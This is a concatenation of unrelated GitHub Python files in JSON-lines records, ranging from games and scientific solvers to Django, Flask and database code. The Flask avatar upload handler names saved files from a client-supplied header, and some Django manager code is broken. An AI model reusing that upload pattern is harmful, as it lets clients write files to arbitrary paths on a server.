dict(qr=True)\n","repo_name":"digitraceslab/koota-server","sub_path":"kdata/devices/android.py","file_name":"android.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"28406438868","text":"from turtle import Turtle, Screen\r\nfrom paddle import Paddle\r\nfrom ball import Ball\r\nimport time\r\nfrom scoreboard import Scoreboard\r\nfrom net import Net\r\n\r\nscreen = Screen()\r\n\r\nscreen.bgcolor(\"black\")\r\nscreen.setup(height=600, width=800)\r\nscreen.title(\"Pong game\")\r\nscreen.tracer(0)\r\n\r\nNET_POSITION = [(0,0), (0,80), (0,-80), (0,160), (0,-160), (0, -240), (0, -320)]\r\n\r\nfor i in NET_POSITION:\r\n new_net = Net(i)\r\n\r\nr_paddle = Paddle((350, 0))\r\nl_paddle = Paddle((-350, 0))\r\nball = Ball()\r\nscoreboard = Scoreboard()\r\n\r\n\r\nscreen.listen()\r\nscreen.onkey(r_paddle.go_up, \"Up\")\r\nscreen.onkey(r_paddle.go_down, \"Down\")\r\nscreen.onkey(l_paddle.go_up, \"w\")\r\nscreen.onkey(l_paddle.go_down, \"s\")\r\n\r\ndef for_score():\r\n time.sleep(1)\r\n if i % 2 == 0:\r\n ball.reset_position()\r\n else:\r\n ball.reset_position()\r\n ball.bounce_y()\r\n\r\ngame_is_on = True\r\nwhile game_is_on:\r\n\r\n for i in range(1000):\r\n time.sleep(ball.move_speed)\r\n screen.update()\r\n ball.move()\r\n\r\n\r\n if ball.ycor() > 280 or ball.ycor() < -280:\r\n ball.bounce_y()\r\n\r\n if ball.distance(r_paddle) < 50 and ball.xcor() > 320 or ball.distance(l_paddle) < 50 and ball.xcor() < -320:\r\n ball.bounce_x()\r\n\r\n\r\n if ball.xcor() == 390:\r\n for_score()\r\n scoreboard.l_point()\r\n if ball.xcor() == -390:\r\n for_score()\r\n scoreboard.r_point()\r\n\r\n\r\nscreen.exitonclick()","repo_name":"hiromi-in/100day_python_udemy","sub_path":"pong_game/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"29843541687","text":"from z3 import *\n\nfrom p4pktgen.config import Config\nfrom p4pktgen.core.context import Variables\nfrom p4pktgen.util.bitvec import equalize_bv_size, LShREq\n\n\nclass Packet(object):\n \"\"\"The symbolic representation of a packet.\"\"\"\n\n def __init__(self):\n # XXX: dynamic packet size\n self.max_packet_size = 4096\n self.packet_size_var = BitVec('packet_size', 32)\n self.max_length = None\n\n # (length, var) tuples representing sequential extractions.\n self.extract_vars = []\n\n # Sub-list of the above, for varbit extractions only.\n self.vl_extract_vars = []\n\n # (start_offset, extract_index, var) tuples representing lookaheads,\n # where extract_index is the index in self.extract_vars of the\n # extraction at which the lookahead begins. It is legal for\n # extract_index to point immediately beyond the end of\n # self.extract_vars, in which case the lookahead does not overlap with\n # extractions.\n self.lookaheads = []\n\n # When generating packet constraints, this will be set to a variable\n # modelling the portion of the packet overlapped by lookaheads but\n # extending beyond the final extraction.\n self.lookahead_tail = None\n\n # Object used to create variables.\n self.variables = Variables()\n\n def get_sym_packet_size(self):\n \"\"\"Return the symbolic packet size.\"\"\"\n return self.packet_size_var\n\n def extract(self, start, field_size, read_size=None, lookahead=False,\n label=None):\n \"\"\"Return a new Z3 expression modelling a portion of the packet data.\"\"\"\n varbit = read_size is not None\n if not varbit:\n read_size = BitVecVal(field_size, 32)\n\n if lookahead:\n name = '$lookahead{}$'.format(len(self.lookaheads))\n else:\n name = '$packet{}$'.format(len(self.extract_vars))\n if label is not None:\n name = '{}.{}'.format(name, label)\n var = self.variables.new(name, field_size)\n\n if lookahead:\n self.lookaheads.append((simplify(start), len(self.extract_vars),\n var))\n else:\n self.extract_vars.append((read_size, var))\n if varbit:\n self.vl_extract_vars.append((read_size, var))\n\n return var\n\n def get_packet_constraints(self):\n \"\"\"Return a list of constraints arising from the nature of the\n extractions that have been performed on the packet.\n \"\"\"\n\n constraints = [\n self.packet_size_var >= Config().get_min_packet_len_generated(),\n self.packet_size_var <= Config().get_max_packet_len_generated(),\n ]\n\n if self.extract_vars:\n packet_size = simplify(sum(length\n for (length, _) in self.extract_vars))\n else:\n packet_size = Config().get_min_packet_len_generated()\n\n # Constrain the packet length according to the lengths of the\n # extractions and any external constraints imposed on the length.\n if self.max_length is None:\n constraints.append(self.packet_size_var == packet_size)\n else:\n constraints.append(self.packet_size_var >= packet_size)\n constraints.append(self.packet_size_var <= self.max_length)\n\n # N.B. Variable-length extractions do not need to be constrained\n # explicitly to their specified sizes. The correct number of bits from\n # the variable will be used when the packet data is generated. This\n # means that Z3 might return non-zero values for the truncated bits,\n # but this is OK, because the restricted set of possible operations on\n # varbits means that those bits will never affect the path taken.\n\n # Create a packet-subfield for lookaheads that extend beyond the end\n # of the final extraction.\n assert self.lookahead_tail is None\n if self.lookaheads:\n max_la_size = max(var.size() for (_, _, var) in self.lookaheads)\n self.lookahead_tail = BitVec('lookahead_tail', max_la_size)\n lookahead_tail_len = BitVec('lookahead_tail_len', 32)\n self.extract_vars.append((lookahead_tail_len, self.lookahead_tail))\n constraints.append(ULE(lookahead_tail_len, max_la_size))\n constraints.append(lookahead_tail_len & BitVecVal(0x7, 32) ==\n BitVecVal(0x0, 32))\n\n # Impose equality constraints between lookaheads and overlapping\n # extractions.\n for (start, first_extract, var) in self.lookaheads:\n # Track the maximum possible remaining length as an integer, and\n # the exact remaining length as an expression.\n max_remaining_length = var.size()\n sym_remaining_length = BitVecVal(max_remaining_length, 32)\n\n # A technicality: extend var to at least 32 bits so that we can do\n # arithmetic with the bit-counting variables.\n if max_remaining_length < 32:\n mask = ZeroExt(32 - max_remaining_length,\n BitVecVal(-1, var.size()))\n var = ZeroExt(32 - max_remaining_length, var)\n else:\n mask = BitVecVal(-1, var.size())\n\n for extract_size, extract_var in self.extract_vars[first_extract:]:\n # At the beginning of each loop iteration, the most significant\n # of the sym_remaining_length bits in the lookahead is aligned\n # with the most significant bit of the current extraction.\n\n # If we've reached the lookahead-tail, we need to make sure\n # that it's big enough.\n if extract_var is self.lookahead_tail:\n constraints.append(UGE(extract_size, sym_remaining_length))\n\n # How many bits overlap?\n compare_bits = If(extract_size > sym_remaining_length,\n sym_remaining_length, extract_size)\n sym_remaining_length = simplify(sym_remaining_length -\n compare_bits)\n\n # Shift out the bits from the insignificant ends that we're not\n # comparing. Then the results must be equal.\n extract_eq, lookahead_eq = equalize_bv_size(\n LShREq(extract_var, simplify(extract_size - compare_bits)),\n LShREq(var & mask, sym_remaining_length),\n )\n constraints.append(extract_eq == lookahead_eq)\n\n # We can find an upper bound on the extractions with which the\n # lookahead can overlap by keeping track of how many bits of\n # fixed-length extractions we have consumed.\n if (extract_size, extract_var) not in self.vl_extract_vars:\n max_remaining_length -= extract_var.size()\n if max_remaining_length <= 0:\n break\n\n # Mask out the bits of the lookahead that we've consumed.\n mask = simplify(LShREq(mask, compare_bits))\n\n return constraints\n\n def set_max_length(self, max_length):\n \"\"\"Used to model explicit restrictions on the length of the packet\n arising from the control path.\n \"\"\"\n self.max_length = max_length\n\n def get_payload_from_model(self, model):\n \"\"\"Returns a byte array containing the packet data, reassembled from\n the variables modelling the individual extractions and lookaheads.\n \"\"\"\n hex_substrings = []\n\n # Track respectively the number of bits and the value of those bits\n # to carry into the next iteration.\n (carry_width, carry_val) = (0, 0)\n\n for (read_width, var) in self.extract_vars:\n var_expr = model.eval(var, model_completion=True)\n if var_expr is None:\n # This means that there was no suitable value for this\n # variable, in which case we should return an empty packet,\n # regardless of the values that might exist for other\n # variables.\n hex_substrings = []\n break\n\n val = var_expr.as_long()\n width = model.eval(read_width, model_completion=True).as_long()\n val &= (1 << width) - 1\n\n assert carry_width < 4\n if carry_width > 0:\n # Carry in bits from the previous iteration.\n val |= carry_val << width\n width += carry_width\n carry_width = 0\n\n if width & 3:\n # We have to hexify things a nybble at a time, so punt any\n # left over bits at the less-signficiant end to the next\n # iteration.\n carry_width = width & 3\n carry_val = val & ((1 << carry_width) - 1)\n width -= carry_width\n val >>= carry_width\n\n assert width & 3 == 0 and val < (1 << width), \\\n (val, width, carry_width, carry_val, hex_substrings)\n\n if width == 0:\n continue\n\n substr = '{0:x}'.format(val).zfill(width // 4)\n hex_substrings.append(substr)\n\n # We require that the last extraction finish at a nybble boundary.\n assert carry_width == 0\n\n hex_str = ''.join(hex_substrings)\n\n # Constraints on the packet size can mean that we need to extend\n # the packet beyond the extractions. Likewise, we must extend the\n # packet if it doesn't finish on a byte boundary.\n size = model.eval(self.packet_size_var, model_completion=True).as_long()\n size = (size + 7) // 8\n hex_str = hex_str.ljust(size * 2, '0')\n return bytearray.fromhex(hex_str)\n","repo_name":"vinlnx/p4pktgen","sub_path":"src/p4pktgen/core/packet.py","file_name":"packet.py","file_ext":"py","file_size_in_byte":9925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"5"} +{"seq_id":"38610246303","text":"# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html\n\n\n# useful for handling different item types with a single interface\nfrom itemadapter import ItemAdapter\n\n# 自定义的管道类\nclass MyScrapyPipeline:\n # 处理 Item 的方法,负责将数据存储到文件中\n def process_item(self, item, spider):\n # 保存数据\n with open('demo.txt', 'a', encoding='utf-8') as f:\n # 将 item 中的 text 字段和 author 字段拼接为一个字符串\n s = item['text'] + item['author']\n # 将拼接后的字符串写入文件,并在末尾添加换行符\n f.write(s + '\\n')\n # 返回 item,继续后续的处理过程\n return item","repo_name":"yingying1997/Scrapy-mingyan","sub_path":"my_scrapy/my_scrapy/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"16026604353","text":"import numpy as np\nfrom scipy.integrate import odeint\nimport matplotlib.pyplot as plt\nfrom scipy.integrate import trapz\nfrom scipy.optimize import root\nfrom scipy.special import spherical_jn\nfrom scipy.special import spherical_jn\nfrom scipy.integrate import solve_bvp\nfrom scipy import fft\nfrom sympy import hankel_transform, inverse_hankel_transform\nfrom mpl_toolkits.axes_grid1.inset_locator import zoomed_inset_axes\nfrom mpl_toolkits.axes_grid1.inset_locator import mark_inset\nfrom scipy.interpolate import InterpolatedUnivariateSpline as Spline\nfrom scipy.integrate import quad\n\nimport seaborn as sns\nimport os\nfrom pylab import plt, mpl\n\n\nmpl.rcParams['font.family'] = 'XCharter'\ncustom_params = {\"axes.spines.right\": True, \"axes.spines.top\": True}\nsns.set_theme(style=\"ticks\", rc=custom_params)\nsns.set_context(\"talk\")\n\nPROJECT_ROOT_DIR = \"Results\"\nFIGURE_ID = \"Results/FigureFiles\"\nDATA_ID = \"DataFiles/\"\n\nif not os.path.exists(PROJECT_ROOT_DIR):\n os.mkdir(PROJECT_ROOT_DIR)\n\nif not os.path.exists(FIGURE_ID):\n os.makedirs(FIGURE_ID)\n\nif not os.path.exists(DATA_ID):\n os.makedirs(DATA_ID)\n\ndef image_path(fig_id):\n return os.path.join(FIGURE_ID, fig_id)\n\n\ndef data_path(dat_id):\n return os.path.join(DATA_ID, dat_id)\n\ndef save_fig(fig_id):\n plt.savefig(image_path(fig_id) + \".pdf\", format='pdf',bbox_inches=\"tight\")\n\nm = 135.57 #MeV\nmn = 939.272 #MeV\nmu = m*mn/(mn+m) #Reduced mass\nM = m+mn\ng = (2*mu)\nhbarc = 197.3 #MeV fm\n\ndef phifunc(S,b):\n def f(r): #form factor\n return S/b*np.exp(-r**2/b**2)\n\n def df(r): #d/dr f(r)\n return -2*r/b**2*S/b*np.exp(-r**2/b**2)\n\n def ddf(r): #d^2/dr^2 f(r)\n return -2/b**4*(b**2-2*r**2)*S/b*np.exp(-r**2/b**2)\n\n def sys(r,u,E):\n y,v,z,I = u\n dy = v\n dv = z\n dz = mu/(2*hbarc**2)*(-E-m)*v-mu/(hbarc**2)*2*r/b**2*f(r)\n dI = 12*np.pi*(2*f(r)*y+r**2*y+2*r*f(r)*v+2*r*df(r)*y+r**2*ddf(r)*y+r**2*df(r)*v+2*r*f(r)*y+r**2*df(r)*v+r**2*f(r)*z)\n return dy,dv,dz,dI\n\n def bc(ua, ub, E):\n ya,va,za,Ia = ua\n yb,vb,zb,Ib = ub\n return va, zb-mu/2*(hbarc)*(E-m)*vb,yb, Ia, Ib-E\n\n rmax = 5*b\n rmin = 0.01*b\n base1 = np.exp(1)\n start = np.log(rmin)\n stop = np.log(rmax)\n r = np.logspace(start,stop,num=100000,base=np.exp(1))\n E = -2\n\n u = [0*r,0*r,0*r,E*r/r[-1]]\n res = solve_bvp(sys,bc,r,u,p=[E],tol=1e-7,max_nodes=100000)\n #print(res.message,\", E: \",res.p[0])\n\n phi = res.y.T[:np.size(r),0]\n phi3 = Spline(r,phi)\n\n def rms_residuals():\n plt.figure()\n plt.plot(res.x[0:np.size(res.rms_residuals)],res.rms_residuals,linewidth=2.5)\n plt.grid(); plt.legend(r\"RMS\".split(),loc=0);\n save_fig(\"rms_residuals\")\n\n\n return res.x,res.y.T[:,0],res.y.T[:,1],res.y.T[:,2], res.p[0]\n\nplt.figure(figsize=(9,5.5))\nS1,b1 = 79.1,3.9\nS2,b2 = 79.7,3.8\nS3,b3 = 29.4,4.0\nS4,b4 = 41.5,3.9\n\nsns.lineplot(x=phifunc(S1,b1)[0],y=abs(phifunc(S1,b1)[1]*phifunc(S1,b1)[0]),linewidth=3.5,label=r'$S=$%0.1f MeV, $b=$%0.1f fm, $E=$%0.1f MeV' %(S1,b1,phifunc(S1,b1)[4]))\nsns.lineplot(x=phifunc(S2,b2)[0],y=abs(phifunc(S2,b2)[1]*phifunc(S2,b2)[0]),linewidth=3.5,label=r'$S=$%0.1f MeV, $b=$%0.1f fm, $E=$%0.1f MeV' %(S2,b2,phifunc(S2,b2)[4]))\nsns.lineplot(x=phifunc(S3,b3)[0],y=abs(phifunc(S3,b3)[1]*phifunc(S3,b3)[0]),linewidth=3.5,label=r'$S=$%0.1f MeV, $b=$%0.1f fm, $E=$%0.1f MeV' %(S3,b3,phifunc(S3,b3)[4]))\nsns.lineplot(x=phifunc(S4,b4)[0],y=abs(phifunc(S4,b4)[1]*phifunc(S4,b4)[0]),linewidth=3.5,label=r'$S=$%0.1f MeV, $b=$%0.1f fm, $E=$%0.1f MeV' %(S4,b4,phifunc(S4,b4)[4]))\n\nplt.ylabel(r\"$r\\phi(r)$ [fm$^{-3/2}$]\")\n#plt.title(\"$S=%s$ MeV, $b=%s$ fm, \\n E = %.3f\" %(S,b,res.p[0]), x=0.5, y=0.8)\nplt.legend(loc=0,frameon=False);\nplt.xlabel(\"r [fm]\")\nplt.tight_layout()\n#save_fig(\"EFTradial\")\n","repo_name":"MartinMikkelsen/Masters-thesis","sub_path":"src/EFTwavefunction.py","file_name":"EFTwavefunction.py","file_ext":"py","file_size_in_byte":3777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"43297210943","text":"from django.db import models\nfrom django.conf import settings\n# Create your models here.\nfrom django.urls import reverse_lazy\nfrom django.db.models.signals import post_save\n\nclass UserProfileManager(models.Manager):\n\n def all(self):\n qs = self.get_queryset().all()\n print(self)\n print(self.instance)\n try:\n if self.instance:\n qs = qs.exclude(user=self.instance)\n except:\n pass\n return qs\n\n def toggle_follow(self, user, to_toggle_user):\n toggle_user, created = UserProfile.objects.get_or_create(user=user)\n if self.request.user.is_authenticated():\n user_profile = UserProfile.objects.get_or_create(user=self.request.user)\n if toggle_user in user_profile.following.all():\n user_profile.following.remove(toggle_user)\n added = False\n else:\n user_profile.following.add(toggle_user)\n added = True\n return added\n\nclass UserProfile(models.Model):\n\n user = models.OneToOneField(settings.AUTH_USER_MODEL, related_name=\"profile\")\n following = models.ManyToManyField(settings.AUTH_USER_MODEL, blank=True, related_name=\"followed_by\")\n\n objects = UserProfileManager # UserProfile.objects.all()\n abc = UserProfileManager() # UserProfile.abc.all()\n\n def __str__(self):\n return str(self.following.all().count())\n\n def get_following(self):\n users = self.following.all()\n return users.exclude(username=self.user.username)\n\n def get_follow_url(self):\n return reverse_lazy(\"profiles:follow\", kwargs={\"username\": self.user.username})\n\n def get_absolute_url(self):\n return reverse_lazy(\"profiles:detail\", kwargs={\"username\": self.user.username})\n\n\n\n\ndef post_save_user_receiver(sender, instance, created, *args, **kwargs):\n print(instance)\n if created:\n new_profile = UserProfile.objects.get_or_create(user=instance)\n\n\npost_save.connect(post_save_user_receiver, sender=settings.AUTH_USER_MODEL)","repo_name":"Co-Mora/Tweetme","sub_path":"src/accounts/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"37982634430","text":"import hydra\nfrom viskill.trainers.sc_trainer import SkillChainingTrainer\n\n\n@hydra.main(version_base=None, config_path=\"./viskill/configs\", config_name=\"eval\")\ndef main(cfg):\n exp = SkillChainingTrainer(cfg)\n exp.eval_ckpt()\n\nif __name__ == \"__main__\":\n main()","repo_name":"med-air/ViSkill","sub_path":"eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"5"} +{"seq_id":"2645680868","text":"from typing import NamedTuple\nfrom datetime import date as Date\n\nfrom aiopg.connection import Connection\n\n\nclass Review(NamedTuple):\n id: int\n date: Date\n course_id: int\n review_text: str\n\n @classmethod\n def from_raw(cls, raw: tuple):\n return cls(*raw) if raw else None\n\n @staticmethod\n async def get_for_course(conn: Connection, course_id: int):\n q = ('SELECT id, date, course_id, review_text '\n 'FROM course_reviews WHERE course_id = %s '\n 'ORDER BY date')\n params = (course_id,)\n async with conn.cursor() as cur:\n await cur.execute(q, params)\n result = await cur.fetchall()\n return [Review.from_raw(r) for r in result]\n\n @staticmethod\n async def create(conn: Connection, course_id: int,\n review_text: str):\n q = ('INSERT INTO course_reviews (course_id, review_text) '\n 'VALUES (%(course_id)s, %(review_text)s)')\n params = {'course_id': course_id,\n 'review_text': review_text}\n async with conn.cursor() as cur:\n await cur.execute(q, params)\n","repo_name":"anxolerd/dvpwa","sub_path":"sqli/dao/review.py","file_name":"review.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","stars":122,"dataset":"github-code","pt":"5"} +{"seq_id":"40494949080","text":"# Problem name: COCI '18 Contest 2 #1 Preokret\n# Code: coci18c2p1\n# Link: https://dmoj.ca/problem/coci18c2p1\n\nteam_A_points = int(input())\nseconds_A = []\n\nfor _ in range(team_A_points):\n point = int(input())\n seconds_A.append(point)\n\nteam_B_points = int(input())\nseconds_B = []\n\nfor _ in range(team_B_points):\n point = int(input())\n seconds_B.append(point)\n\nhalf_time_points = (len(list(filter(lambda x: x <= 1440, seconds_A))) + \n len(list(filter(lambda x: x <= 1440, seconds_B))))\n\n\nturnarounds = 0\nwinning = ''\nscore_A = 0\nscore_B = 0\ni = 0\nk = 0\n\n\nfor _ in range(team_A_points + team_B_points):\n\n if k == len(seconds_B):\n score_A += 1\n i += 1\n elif i < len(seconds_A) and seconds_A[i] < seconds_B[k]:\n score_A += 1\n i += 1\n else:\n score_B += 1\n k += 1\n \n if score_A > score_B:\n if winning == 'B':\n turnarounds += 1\n winning = 'A'\n elif score_B > score_A: \n if winning == 'A':\n turnarounds += 1\n winning = 'B'\n \n\nprint(half_time_points)\nprint(turnarounds)","repo_name":"fernunex/Learn2code","sub_path":"5_lists/06_preokret.py","file_name":"06_preokret.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"10299556698","text":"import json\nimport falcon\nfrom db.internals.AuthorRepository import AuthorRepository\n\nauth_repository = AuthorRepository()\n\n\nclass AuthorService:\n\n def on_get(self, req, resp):\n params = req.params\n if params and params[\"author_id\"]:\n author = auth_repository.get_author(author_id=params[\"author_id\"])\n resp.status = falcon.HTTP_200\n resp.media = {\n \"Author\": author.get_dict()\n }\n else:\n authors = []\n for author in auth_repository.get_author():\n authors.append(author.get_dict())\n\n resp.status = falcon.HTTP_200\n resp.media = {\n \"Authors\": authors\n }\n\n def on_post(self, req, resp):\n req_data = json.loads(req.stream.read())\n author = auth_repository.add_author(author_data=req_data)\n resp.status = falcon.HTTP_201\n resp.media = author\n\n def on_put(self, req, resp):\n req_data = json.loads(req.stream.read())\n params = req.params\n if params and params[\"author_id\"]:\n author_id = params[\"author_id\"]\n auth_repository.update_author(author_id=author_id, author_data=req_data)\n resp.media = {'author': auth_repository.get_author(author_id=author_id).get_dict()}\n resp.status = falcon.HTTP_200\n else:\n resp.status = falcon.HTTP_400\n resp.media ={\n \"msg\" : \"Please re-verify the request\"\n }\n\n def on_delete(self, req, resp):\n params = req.params\n if params and params[\"author_id\"]:\n author_id = params[\"author_id\"]\n auth_repository.delete_author(author_id=author_id)\n resp.status = falcon.HTTP_200\n resp.media = {\n \"msg\": \"Record deleted...!!!\"\n }\n else:\n resp.status = falcon.HTTP_400\n resp.media ={\n \"msg\" : \"Please re-verify the request\"\n }","repo_name":"ShantanuBhuruk/FalconAssignment","sub_path":"librarymgmt/resources/service/AuthorService.py","file_name":"AuthorService.py","file_ext":"py","file_size_in_byte":2003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"5333413104","text":"from flask import Flask, send_from_directory, request\r\nimport os\r\n\r\napp = Flask(__name__)\r\n\r\n# @app.route('/avatars/<filename>')\r\n# 获取当前文件的目录路径\r\ncurrent_dir = os.path.dirname(os.path.abspath(__file__))\r\n# 构建 avatars 目录的相对路径\r\navatars_dir = os.path.join(current_dir, '..', 'avatars')\r\n\r\n\r\ndef get_avatar(filename):\r\n # avatars_dir = 'Campus/avatars' # 头像图片存放的目录\r\n return send_from_directory(avatars_dir, filename) # 从指定目录发送文件\r\n\r\n\r\n# def set_avatar()\r\n\r\ndef upload():\r\n # avatars_dir = '../avatars' # 头像图片存放的目录\r\n\r\n # 检查是否存在avatars目录,若不存在则创建\r\n if not os.path.exists(avatars_dir):\r\n os.makedirs(avatars_dir)\r\n print(request.files)\r\n if 'avatar' in request.files:\r\n file = request.files['avatar'] # 获取前端传递的文件\r\n # filename = file.filename\r\n filename=request.headers.get('Authorization')\r\n filename=filename+'.jpg'\r\n filepath = os.path.join(avatars_dir, filename) # 拼接保存的文件路径\r\n file.save(filepath) # 保存文件到指定路径\r\n return '文件上传成功!'\r\n else:\r\n return '未找到文件!'\r\n","repo_name":"Wally510/School_dating_system","sub_path":"houduan/Campus/Controller/getimage.py","file_name":"getimage.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"30661662242","text":"# This is the Pomodoro timer to help you study\n# it's just a cronometer but it was made with\n# TKinter, so it looks pretty.\n\n\nimport tkinter\nimport math\n# ---------------------------- CONSTANTS ------------------------------- #\nPINK = \"#e2979c\"\nRED = \"#e7305b\"\nGREEN = \"#9bdeac\"\nYELLOW = \"#f7f5dd\"\n# los codigos de los colores salieron de la pagina \"colourhunt\"\nFONT_NAME = \"Courier\"\nWORK = 25\nS_BREAK = 5\nL_BREAK = 20\nreps = 0\nroutine = [WORK, S_BREAK, WORK, S_BREAK, WORK, S_BREAK, WORK, L_BREAK]\nroutine_text = [\"Work time\", \"Short break\", \"Work time\", \"Short break\", \"Work time\", \"Short break\", \"Work time\", \"Long break\"]\ntimer = None\n\n# ---------------------------- TIMER RESET ------------------------------- # \n\ndef reset_timer():\n window.after_cancel(timer)\n global reps\n reps = 0\n label.config(text = \"Timer\")\n canvas.itemconfig(timer_text, text = \"00:00\")\n check_symbol.config(text = \"\")\n \n# ---------------------------- TIMER MECHANISM ------------------------------- # \ndef start_timer():\n global reps\n count_down(routine[reps]*60)\n label.config(text= f\"{routine_text[reps]}\", fg=RED)\n reps += 1\n if reps >8:\n pass\n marks = \"\"\n for _ in range(math.floor(reps/2)):\n marks += \"✓\"\n check_symbol.config(text = marks)\n \n# ---------------------------- COUNTDOWN MECHANISM ------------------------------- # \ndef count_down(count):\n count_min = math.floor(count / 60)\n count_seg = count % 60\n if count_seg < 10:\n count_seg = f\"0{count_seg}\"\n if count_seg == 0:\n count_seg = \"00\"\n canvas.itemconfig(timer_text, text = f\"{count_min}:{count_seg}\")\n if count >0:\n global timer\n timer = window.after(1000, count_down, count-1)\n else:\n start_timer()\n \n# ---------------------------- UI SETUP ------------------------------- #\nwindow = tkinter.Tk()\nwindow.title(\"Pomodoro timer\")\nwindow.config(padx=100, pady=50, bg=YELLOW)\n\ncanvas = tkinter.Canvas(width= 200, height=224, bg=YELLOW, highlightthickness=0)\ntomato_img = tkinter.PhotoImage(file=\"tomato.png\")\ncanvas.create_image(100, 112, image=tomato_img)\n\ntimer_text = canvas.create_text(100, 130, text=\"00:00\", fill=\"white\", font=(FONT_NAME, 22, \"bold\"))\ncanvas.grid(column=1, row=1) \n\nlabel = tkinter.Label(text = \"Timer\", fg = GREEN, bg=YELLOW, font=(FONT_NAME, 34, \"bold\"))\nlabel.grid(column=1, row=0)\n\nStart = tkinter.Button(text= \"Start\", command=start_timer)\nStart.grid(column=0, row=2)\n\nReset = tkinter.Button(text= \"Reset\", command=reset_timer)\nReset.grid(column=2, row=2)\n\ncheck_symbol = tkinter.Label(fg = GREEN, bg=YELLOW, font=(FONT_NAME, 22, \"bold\"))\ncheck_symbol.grid(column=1, row=3)\n\n\n\n\n\n\n\n\n\nwindow.mainloop()","repo_name":"NicolasSturla/GitHub-Python-Repository","sub_path":"Pomodoro timer/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"11191851028","text":"\"\"\"\nPurpose: To complete the Exercise 6.9 in textbook.\nImplementation of the interaction between windy Gridworld's\nSARSA agent and its environment using RLGlue\n\"\"\"\n\nfrom rl_glue import RLGlue\nfrom wind_env import WindEnvironment\nfrom sarsa_agent import SarsaAgent\nimport numpy as np\n\nif __name__ == \"__main__\":\n max_total_step = 8000\n total_num_episode = [0]\n current_step = [0]\n\n # Create and pass agent and environment objects to RLGlue\n environment = WindEnvironment()\n agent = SarsaAgent()\n rlglue = RLGlue(environment,agent)\n del agent,environment # don't use these anymore\n\n # set seed for reproducibility\n np.random.seed(1)\n\n # initialize RL-Glue\n rlglue.rl_init()\n\n # loop for the experiment step less that 8000\n while (rlglue.num_steps() < max_total_step ):\n rlglue.rl_episode(max_total_step)\n total_num_episode.append(rlglue.num_episodes())\n current_step.append(rlglue.num_steps())\n print(total_num_episode)\n np.savez('windy.npz',timeSteps = current_step,Episodes = total_num_episode)\n # to load:\n # data = np.load('windy.npz')\n # print(data[\"timeSteps\"]) to get the array\n","repo_name":"terrence85561/Reinforcement_learning_implement","sub_path":"SARSA/wind_exp.py","file_name":"wind_exp.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"33675433426","text":"from typing import List, TypeVar\n\nT = TypeVar('T')\n\n\ndef merge_lists(original: List[T], new_changes: List[T]):\n # We want to distribute the work such that we have the minimal number of changes.\n ids_to_ignore = []\n\n new_merged: List[T] = [None for _ in range(max(len(original), len(new_changes)))]\n\n # add all the ones that are not changing.\n for index, element in enumerate(original):\n if index < len(new_changes) and element == new_changes[index]:\n # No change here.\n new_merged[index] = element\n ids_to_ignore.append(index)\n\n # Add all the ones that aren't doing anything (None)\n if original[index] is None:\n new_merged[index] = new_changes[index]\n ids_to_ignore.append(index)\n\n for index in range(len(new_changes)):\n if index not in ids_to_ignore:\n # We still need to update this one.\n new_merged[index] = new_changes[index]\n\n # In case the original one was longer, iterate over the tail.\n for index in range(len(new_changes), len(original)):\n if index not in ids_to_ignore:\n # We still need to update this one.\n new_merged[index] = original[index]\n\n return new_merged\n","repo_name":"mattpaletta/pynotstdlib","sub_path":"pynotstdlib/collection/merge.py","file_name":"merge.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"70095243673","text":"import argparse\n\n\ndef solve(input_txt: str) -> int:\n \"\"\"Solve exercise.\"\"\"\n bus_times = {\n bus_pos: int(time_bus) for bus_pos, time_bus\n in enumerate(input_txt.splitlines()[1].split(','))\n if time_bus != 'x'\n }\n min_timestamp = 0\n bus_multipliers = {}\n for bus_pos, bus_time in bus_times.items():\n bus_multipliers[bus_pos] = [bus_time*i for i in range(999)]\n\n for min_timestamp in bus_multipliers[0]:\n for bus_pos in bus_times:\n if not min_timestamp + bus_pos in bus_multipliers[bus_pos]:\n break\n else:\n return min_timestamp\n return 0\n\n\ndef main() -> None:\n parser = argparse.ArgumentParser()\n parser.add_argument('input_file')\n args = parser.parse_args()\n\n if not args.input_file:\n raise ValueError('Missing input_file!')\n\n with open(args.input_file) as f:\n print(solve(f.read()))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"jordiori/aoc-2020","sub_path":"day13/exercise_part2.py","file_name":"exercise_part2.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"29268043276","text":"def main():\n\n # Bilfirman, anställd personal\n\n # Listor personal\n personal = []\n anställningsnummer = [\"1\", \"2\", 